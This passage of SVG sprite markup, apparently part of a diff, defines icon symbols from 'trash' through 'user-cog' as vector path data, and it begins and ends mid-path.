0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0l-19.8 19.8-19-19 16.9-16.9C107.1 12.9 101.7 0 91 0H12C5.4 0 0 5.4 0 12v79c0 10.7 12.9 16 20.5 8.5l16.9-16.9 19 19-19.8 19.8c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l19.8-19.8 16.5 16.5C104.1 185.5 96 211.8 96 240c0 68.5 47.9 125.9 112 140.4V408h-36c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM240 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"></path> + </symbol> + <symbol id="trash" viewBox="0 0 448 512"> + <path d="M432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32z"></path> + </symbol> + <symbol id="trash-alt" viewBox="0 0 448 512"> + <path d="M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm272-256a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="trash-restore" viewBox="0 0 448 512"> + <path d="M53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32zm70.11-175.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="trash-restore-alt" viewBox="0 0 448 512"> + <path d="M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm91.31-172.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="tree" viewBox="0 0 384 512"> + <path d="M378.31 378.49L298.42 288h30.63c9.01 0 16.98-5 20.78-13.06 3.8-8.04 2.55-17.26-3.28-24.05L268.42 160h28.89c9.1 0 17.3-5.35 20.86-13.61 3.52-8.13 1.86-17.59-4.24-24.08L203.66 4.83c-6.03-6.45-17.28-6.45-23.32 0L70.06 122.31c-6.1 6.49-7.75 15.95-4.24 24.08C69.38 154.65 77.59 160 86.69 160h28.89l-78.14 90.91c-5.81 6.78-7.06 15.99-3.27 24.04C37.97 283 45.93 288 54.95 288h30.63L5.69 378.49c-6 6.79-7.36 16.09-3.56 24.26 3.75 8.05 12 13.25 21.01 13.25H160v24.45l-30.29 48.4c-5.32 10.64 2.42 23.16 14.31 23.16h95.96c11.89 0 19.63-12.52 14.31-23.16L224 440.45V416h136.86c9.01 0 17.26-5.2 21.01-13.25 3.8-8.17 2.44-17.47-3.56-24.26z"></path> + </symbol> + <symbol id="trophy" viewBox="0 0 576 512"> + <path d="M552 64H448V24c0-13.3-10.7-24-24-24H152c-13.3 0-24 10.7-24 24v40H24C10.7 64 0 74.7 0 88v56c0 35.7 22.5 72.4 61.9 100.7 31.5 22.7 69.8 37.1 110 41.7C203.3 338.5 240 360 240 360v72h-48c-35.3 0-64 20.7-64 56v12c0 6.6 5.4 12 12 12h296c6.6 0 12-5.4 12-12v-12c0-35.3-28.7-56-64-56h-48v-72s36.7-21.5 68.1-73.6c40.3-4.6 78.6-19 110-41.7 39.3-28.3 61.9-65 61.9-100.7V88c0-13.3-10.7-24-24-24zM99.3 192.8C74.9 175.2 64 155.6 64 144v-16h64.2c1 32.6 5.8 61.2 12.8 86.2-15.1-5.2-29.2-12.4-41.7-21.4zM512 144c0 16.1-17.7 36.1-35.3 48.8-12.5 9-26.7 16.2-41.8 21.4 7-25 11.8-53.6 12.8-86.2H512v16z"></path> + </symbol> + <symbol id="truck" viewBox="0 0 640 512"> + <path d="M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z"></path> + </symbol> + <symbol id="truck-loading" viewBox="0 0 640 512"> + <path d="M50.2 375.6c2.3 8.5 11.1 13.6 19.6 11.3l216.4-58c8.5-2.3 13.6-11.1 11.3-19.6l-49.7-185.5c-2.3-8.5-11.1-13.6-19.6-11.3L151 133.3l24.8 92.7-61.8 16.5-24.8-92.7-77.3 20.7C3.4 172.8-1.7 181.6.6 190.1l49.6 185.5zM384 0c-17.7 0-32 14.3-32 32v323.6L5.9 450c-4.3 1.2-6.8 5.6-5.6 9.8l12.6 46.3c1.2 4.3 5.6 6.8 9.8 5.6l393.7-107.4C418.8 464.1 467.6 512 528 512c61.9 0 112-50.1 112-112V0H384zm144 448c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z"></path> + </symbol> + <symbol id="truck-monster" viewBox="0 0 640 512"> + <path d="M624 224h-16v-64c0-17.67-14.33-32-32-32h-73.6L419.22 24.02A64.025 64.025 0 0 0 369.24 0H256c-17.67 0-32 14.33-32 32v96H48c-8.84 0-16 7.16-16 16v80H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16.72c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64h65.45c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-336-96V64h81.24l51.2 64H288zm304 224h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 512 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67A110.85 110.85 0 0 0 373.2 352H368c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32c-.02-8.84-7.18-16-16.02-16zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-208-80h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 192 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0L58.18 304.8c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67a110.85 110.85 0 0 0-8.65 20.89H48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32C288 359.16 280.84 352 272 352zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z"></path> + </symbol> + <symbol id="truck-moving" viewBox="0 0 640 512"> + <path d="M621.3 237.3l-58.5-58.5c-12-12-28.3-18.7-45.3-18.7H480V64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v336c0 44.2 35.8 80 80 80 26.3 0 49.4-12.9 64-32.4 14.6 19.6 37.7 32.4 64 32.4 44.2 0 80-35.8 80-80 0-5.5-.6-10.8-1.6-16h163.2c-1.1 5.2-1.6 10.5-1.6 16 0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H624c8.8 0 16-7.2 16-16v-85.5c0-17-6.7-33.2-18.7-45.2zM80 432c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm128 0c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm272-224h37.5c4.3 0 8.3 1.7 11.3 4.7l43.3 43.3H480v-48zm48 224c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32z"></path> + </symbol> + <symbol id="truck-pickup" viewBox="0 0 640 512"> + <path d="M624 288h-16v-64c0-17.67-14.33-32-32-32h-48L419.22 56.02A64.025 64.025 0 0 0 369.24 32H256c-17.67 0-32 14.33-32 32v128H64c-17.67 0-32 14.33-32 32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h49.61c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16h67.23c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM288 96h81.24l76.8 96H288V96zM176 416c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm288 0c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z"></path> + </symbol> + <symbol id="tshirt" viewBox="0 0 640 512"> + <path d="M631.2 96.5L436.5 0C416.4 27.8 371.9 47.2 320 47.2S223.6 27.8 203.5 0L8.8 96.5c-7.9 4-11.1 13.6-7.2 21.5l57.2 114.5c4 7.9 13.6 11.1 21.5 7.2l56.6-27.7c10.6-5.2 23 2.5 23 14.4V480c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V226.3c0-11.8 12.4-19.6 23-14.4l56.6 27.7c7.9 4 17.5.8 21.5-7.2L638.3 118c4-7.9.8-17.6-7.1-21.5z"></path> + </symbol> + <symbol id="tty" viewBox="0 0 512 512"> + <path d="M5.37 103.822c138.532-138.532 362.936-138.326 501.262 0 6.078 6.078 7.074 15.496 2.583 22.681l-43.214 69.138a18.332 18.332 0 0 1-22.356 7.305l-86.422-34.569a18.335 18.335 0 0 1-11.434-18.846L351.741 90c-62.145-22.454-130.636-21.986-191.483 0l5.953 59.532a18.331 18.331 0 0 1-11.434 18.846l-86.423 34.568a18.334 18.334 0 0 1-22.356-7.305L2.787 126.502a18.333 18.333 0 0 1 2.583-22.68zM96 308v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H92c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zM96 500v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H140c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z"></path> + </symbol> + <symbol id="tv" viewBox="0 0 640 512"> + <path d="M592 0H48A48 48 0 0 0 0 48v320a48 48 0 0 0 48 48h240v32H112a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H352v-32h240a48 48 0 0 0 48-48V48a48 48 0 0 0-48-48zm-16 352H64V64h512z"></path> + </symbol> + <symbol id="umbrella" viewBox="0 0 576 512"> + <path d="M575.7 280.8C547.1 144.5 437.3 62.6 320 49.9V32c0-17.7-14.3-32-32-32s-32 14.3-32 32v17.9C138.3 62.6 29.5 144.5.3 280.8c-2.2 10.1 8.5 21.3 18.7 11.4 52-55 107.7-52.4 158.6 37 5.3 9.5 14.9 8.6 19.7 0 20.2-35.4 44.9-73.2 90.7-73.2 58.5 0 88.2 68.8 90.7 73.2 4.8 8.6 14.4 9.5 19.7 0 51-89.5 107.1-91.4 158.6-37 10.3 10 20.9-1.3 18.7-11.4zM256 301.7V432c0 8.8-7.2 16-16 16-7.8 0-13.2-5.3-15.1-10.7-5.9-16.7-24.1-25.4-40.8-19.5-16.7 5.9-25.4 24.2-19.5 40.8 11.2 31.9 41.6 53.3 75.4 53.3 44.1 0 80-35.9 80-80V301.6c-9.1-7.9-19.8-13.6-32-13.6-12.3.1-22.4 4.8-32 13.7z"></path> + </symbol> + <symbol id="umbrella-beach" viewBox="0 0 640 512"> + <path d="M115.38 136.9l102.11 37.18c35.19-81.54 86.21-144.29 139-173.7-95.88-4.89-188.78 36.96-248.53 111.8-6.69 8.4-2.66 21.05 7.42 24.72zm132.25 48.16l238.48 86.83c35.76-121.38 18.7-231.66-42.63-253.98-7.4-2.7-15.13-4-23.09-4-58.02.01-128.27 69.17-172.76 171.15zM521.48 60.5c6.22 16.3 10.83 34.6 13.2 55.19 5.74 49.89-1.42 108.23-18.95 166.98l102.62 37.36c10.09 3.67 21.31-3.43 21.57-14.17 2.32-95.69-41.91-187.44-118.44-245.36zM560 447.98H321.06L386 269.5l-60.14-21.9-72.9 200.37H16c-8.84 0-16 7.16-16 16.01v32.01C0 504.83 7.16 512 16 512h544c8.84 0 16-7.17 16-16.01v-32.01c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="underline" viewBox="0 0 448 512"> + <path d="M32 64h32v160c0 88.22 71.78 160 160 160s160-71.78 160-160V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H272a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32v160a80 80 0 0 1-160 0V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm400 384H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="undo" viewBox="0 0 512 512"> + <path d="M212.333 224.333H12c-6.627 0-12-5.373-12-12V12C0 5.373 5.373 0 12 0h48c6.627 0 12 5.373 12 12v78.112C117.773 39.279 184.26 7.47 258.175 8.007c136.906.994 246.448 111.623 246.157 248.532C504.041 393.258 393.12 504 256.333 504c-64.089 0-122.496-24.313-166.51-64.215-5.099-4.622-5.334-12.554-.467-17.42l33.967-33.967c4.474-4.474 11.662-4.717 16.401-.525C170.76 415.336 211.58 432 256.333 432c97.268 0 176-78.716 176-176 0-97.267-78.716-176-176-176-58.496 0-110.28 28.476-142.274 72.333h98.274c6.627 0 12 5.373 12 12v48c0 6.627-5.373 12-12 12z"></path> + </symbol> + <symbol id="undo-alt" viewBox="0 0 512 512"> + <path d="M255.545 8c-66.269.119-126.438 26.233-170.86 68.685L48.971 40.971C33.851 25.851 8 36.559 8 57.941V192c0 13.255 10.745 24 24 24h134.059c21.382 0 32.09-25.851 16.971-40.971l-41.75-41.75c30.864-28.899 70.801-44.907 113.23-45.273 92.398-.798 170.283 73.977 169.484 169.442C423.236 348.009 349.816 424 256 424c-41.127 0-79.997-14.678-110.63-41.556-4.743-4.161-11.906-3.908-16.368.553L89.34 422.659c-4.872 4.872-4.631 12.815.482 17.433C133.798 479.813 192.074 504 256 504c136.966 0 247.999-111.033 248-247.998C504.001 119.193 392.354 7.755 255.545 8z"></path> + </symbol> + <symbol id="universal-access" viewBox="0 0 512 512"> + <path d="M256 48c114.953 0 208 93.029 208 208 0 114.953-93.029 208-208 208-114.953 0-208-93.029-208-208 0-114.953 93.029-208 208-208m0-40C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 56C149.961 64 64 149.961 64 256s85.961 192 192 192 192-85.961 192-192S362.039 64 256 64zm0 44c19.882 0 36 16.118 36 36s-16.118 36-36 36-36-16.118-36-36 16.118-36 36-36zm117.741 98.023c-28.712 6.779-55.511 12.748-82.14 15.807.851 101.023 12.306 123.052 25.037 155.621 3.617 9.26-.957 19.698-10.217 23.315-9.261 3.617-19.699-.957-23.316-10.217-8.705-22.308-17.086-40.636-22.261-78.549h-9.686c-5.167 37.851-13.534 56.208-22.262 78.549-3.615 9.255-14.05 13.836-23.315 10.217-9.26-3.617-13.834-14.056-10.217-23.315 12.713-32.541 24.185-54.541 25.037-155.621-26.629-3.058-53.428-9.027-82.141-15.807-8.6-2.031-13.926-10.648-11.895-19.249s10.647-13.926 19.249-11.895c96.686 22.829 124.283 22.783 220.775 0 8.599-2.03 17.218 3.294 19.249 11.895 2.029 8.601-3.297 17.219-11.897 19.249z"></path> + </symbol> + <symbol id="university" viewBox="0 0 512 512"> + <path d="M496 128v16a8 8 0 0 1-8 8h-24v12c0 6.627-5.373 12-12 12H60c-6.627 0-12-5.373-12-12v-12H24a8 8 0 0 1-8-8v-16a8 8 0 0 1 4.941-7.392l232-88a7.996 7.996 0 0 1 6.118 0l232 88A8 8 0 0 1 496 128zm-24 304H40c-13.255 0-24 10.745-24 24v16a8 8 0 0 0 8 8h464a8 8 0 0 0 8-8v-16c0-13.255-10.745-24-24-24zM96 192v192H60c-6.627 0-12 5.373-12 12v20h416v-20c0-6.627-5.373-12-12-12h-36V192h-64v192h-64V192h-64v192h-64V192H96z"></path> + </symbol> + <symbol id="unlink" viewBox="0 0 512 512"> + <path d="M304.083 405.907c4.686 4.686 4.686 12.284 0 16.971l-44.674 44.674c-59.263 59.262-155.693 59.266-214.961 0-59.264-59.265-59.264-155.696 0-214.96l44.675-44.675c4.686-4.686 12.284-4.686 16.971 0l39.598 39.598c4.686 4.686 4.686 12.284 0 16.971l-44.675 44.674c-28.072 28.073-28.072 73.75 0 101.823 28.072 28.072 73.75 28.073 101.824 0l44.674-44.674c4.686-4.686 12.284-4.686 16.971 0l39.597 39.598zm-56.568-260.216c4.686 4.686 12.284 4.686 16.971 0l44.674-44.674c28.072-28.075 73.75-28.073 101.824 0 28.072 28.073 28.072 73.75 0 101.823l-44.675 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.598 39.598c4.686 4.686 12.284 4.686 16.971 0l44.675-44.675c59.265-59.265 59.265-155.695 0-214.96-59.266-59.264-155.695-59.264-214.961 0l-44.674 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.597 39.598zm234.828 359.28l22.627-22.627c9.373-9.373 9.373-24.569 0-33.941L63.598 7.029c-9.373-9.373-24.569-9.373-33.941 0L7.029 29.657c-9.373 9.373-9.373 24.569 0 33.941l441.373 441.373c9.373 9.372 24.569 9.372 33.941 0z"></path> + </symbol> + <symbol id="unlock" viewBox="0 0 448 512"> + <path d="M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z"></path> + </symbol> + <symbol id="unlock-alt" viewBox="0 0 448 512"> + <path d="M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zM264 408c0 22.1-17.9 40-40 40s-40-17.9-40-40v-48c0-22.1 17.9-40 40-40s40 17.9 40 40v48z"></path> + </symbol> + <symbol id="upload" viewBox="0 0 512 512"> + <path d="M296 384h-80c-13.3 0-24-10.7-24-24V192h-87.7c-17.8 0-26.7-21.5-14.1-34.1L242.3 5.7c7.5-7.5 19.8-7.5 27.3 0l152.2 152.2c12.6 12.6 3.7 34.1-14.1 34.1H320v168c0 13.3-10.7 24-24 24zm216-8v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h136v8c0 30.9 25.1 56 56 56h80c30.9 0 56-25.1 56-56v-8h136c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z"></path> + </symbol> + <symbol id="user" viewBox="0 0 448 512"> + <path d="M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"></path> + </symbol> + <symbol id="user-alt" viewBox="0 0 512 512"> + <path d="M256 288c79.5 0 144-64.5 144-144S335.5 0 256 0 112 64.5 112 144s64.5 144 144 144zm128 32h-55.1c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16H128C57.3 320 0 377.3 0 448v16c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-16c0-70.7-57.3-128-128-128z"></path> + </symbol> + <symbol id="user-alt-slash" viewBox="0 0 640 512"> + <path d="M633.8 458.1L389.6 269.3C433.8 244.7 464 198.1 464 144 464 64.5 399.5 0 320 0c-67.1 0-123 46.1-139 108.2L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM198.4 320C124.2 320 64 380.2 64 454.4v9.6c0 26.5 21.5 48 48 48h382.2L245.8 320h-47.4z"></path> + </symbol> + <symbol id="user-astronaut" viewBox="0 0 448 512"> + <path d="M64 224h13.5c24.7 56.5 80.9 96 146.5 96s121.8-39.5 146.5-96H384c8.8 0 16-7.2 16-16v-96c0-8.8-7.2-16-16-16h-13.5C345.8 39.5 289.6 0 224 0S102.2 39.5 77.5 96H64c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16zm40-88c0-22.1 21.5-40 48-40h144c26.5 0 48 17.9 48 40v24c0 53-43 96-96 96h-48c-53 0-96-43-96-96v-24zm72 72l12-36 36-12-36-12-12-36-12 36-36 12 36 12 12 36zm151.6 113.4C297.7 340.7 262.2 352 224 352s-73.7-11.3-103.6-30.6C52.9 328.5 0 385 0 454.4v9.6c0 26.5 21.5 48 48 48h80v-64c0-17.7 14.3-32 32-32h128c17.7 0 32 14.3 32 32v64h80c26.5 0 48-21.5 48-48v-9.6c0-69.4-52.9-125.9-120.4-133zM272 448c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-96 0c-8.8 0-16 7.2-16 16v48h32v-48c0-8.8-7.2-16-16-16z"></path> + </symbol> + <symbol id="user-check" viewBox="0 0 640 512"> + <path d="M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4zm323-128.4l-27.8-28.1c-4.6-4.7-12.1-4.7-16.8-.1l-104.8 104-45.5-45.8c-4.6-4.7-12.1-4.7-16.8-.1l-28.1 27.9c-4.7 4.6-4.7 12.1-.1 16.8l81.7 82.3c4.6 4.7 12.1 4.7 16.8.1l141.3-140.2c4.6-4.7 4.7-12.2.1-16.8z"></path> + </symbol> + <symbol id="user-circle" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z"></path> + </symbol> + <symbol id="user-clock" viewBox="0 0 640 512"> + <path d="M496 224c-79.6 0-144 64.4-144 144s64.4 144 144 144 144-64.4 144-144-64.4-144-144-144zm64 150.3c0 5.3-4.4 9.7-9.7 9.7h-60.6c-5.3 0-9.7-4.4-9.7-9.7v-76.6c0-5.3 4.4-9.7 9.7-9.7h12.6c5.3 0 9.7 4.4 9.7 9.7V352h38.3c5.3 0 9.7 4.4 9.7 9.7v12.6zM320 368c0-27.8 6.7-54.1 18.2-77.5-8-1.5-16.2-2.5-24.6-2.5h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h347.1c-45.3-31.9-75.1-84.5-75.1-144zm-96-112c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128z"></path> + </symbol> + <symbol id="user-cog" viewBox="0 0 640 512"> + <path d="M610.5 373.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 